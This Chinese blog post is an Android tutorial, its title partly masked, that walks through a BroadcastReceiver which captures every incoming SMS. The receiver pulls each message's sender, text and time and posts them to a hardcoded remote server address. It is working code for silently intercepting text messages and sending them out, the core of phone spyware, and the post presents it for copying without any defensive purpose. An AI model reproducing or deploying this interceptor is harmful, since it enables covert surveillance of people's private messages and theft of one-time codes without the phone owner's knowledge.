关闭

android 使用BroadcastReceiver编写短信

标签: android
241人阅读 评论(0) 收藏 举报

BroadcastReceiver编写短信***步骤:

  1. 第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限  
  2. <uses-permission android:name="android.permission.RECEIVE_SMS"/>  
  3. <uses-permission android:name="android.permission.INTERNET"/>  
  4. 第二步:订阅android系统短信广播,这一步的目的是只有通过订阅广播后,手机收到短信,才知道要执行哪个广播组件。  
  5. <!--  
  6. 系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播意图  
  7. 当发出这个action后,如果与android:name="android.provider.Telephony.SMS_RECEIVED“这个名字相匹配,  
  8. 则会执行MyBroadcast广播组件,MyBroadcast 这个类是继承BroadcastReceiver自己编写的类。->  
  9.     <receiver android:name=".MyBroadcast">  
  10.         <intent-filter>  
  11.              <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
  12.         </intent-filter>  
  13.     </receiver>  
  14. 第三步:继承BroadcastReceiver编写MyBroadcast类,并重写onReceive()方法。  
  15. 通过名称为pdus,就可以从上面的广播意图中获取短信的内容  
  16. public class MyBroadcast extends BroadcastReceiver {  
  17.     @Override  
  18.     public void onReceive(Context context, Intent intent) {  
  19.            
  20.         //得到的是Object 数组 每条短信是以字节数据的形式存放  
  21.             Object[] pduss = (Object[])intent.getExtras().get("pdus");  
  22.             for(Object pdus : pduss){  
  23.                 byte[] pdumessage  = (byte[])pdus;  
  24.                 SmsMessage sms = SmsMessage.createFromPdu(pdumessage);  
  25.                 String phone = sms.getOriginatingAddress();  
  26.                 String content = sms.getMessageBody();  
  27.                 Date  date  =  new Date(sms.getTimestampMillis());  
  28.                 SimpleDateFormat sDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
  29.                 String sendtime = sDateFormat.format(date);  
  30.             //将短信放在map容器中  
  31.             Map<String, String> map = new HashMap<String, String>();  
  32.                 map.put("phone",phone);  
  33.                 map.put("content",content);  
  34.                 map.put("sendtime", sendtime);  
  35.                 String path="http://218.67.59.20:8080/test/index.jsp";  
  36.                 try {  
  37.                     //将短信发送到path路径的服务端,在服务端就可以通过参数获取短信内容  
  38.                     SmsToWeb.post(path, map, "UTF-8");  
  39.                 } catch (Exception e) {  
  40.                     // TODO Auto-generated catch block  
  41.                     e.printStackTrace();  
  42.                 }  
  43.             }  
  44.     }  
  45.   
  46. }  
0
0

猜你在找
【直播】机器学习&数据挖掘7周实训--韦玮
【套餐】系统集成项目管理工程师顺利通关--徐朋
【直播】3小时掌握Docker最佳实战-徐西宁
【套餐】机器学习系列套餐(算法+实战)--唐宇迪
【直播】计算机视觉原理及实战--屈教授
【套餐】微信订阅号+服务号Java版 v2.0--翟东平
【直播】机器学习之矩阵--黄博士
【套餐】微信订阅号+服务号Java版 v2.0--翟东平
【直播】机器学习之凸优化--马博士
【套餐】Javascript 设计模式实战--曾亮
查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:89317次
    • 积分:2911
    • 等级:
    • 排名:第12079名
    • 原创:209篇
    • 转载:19篇
    • 译文:0篇
    • 评论:10条
    最新评论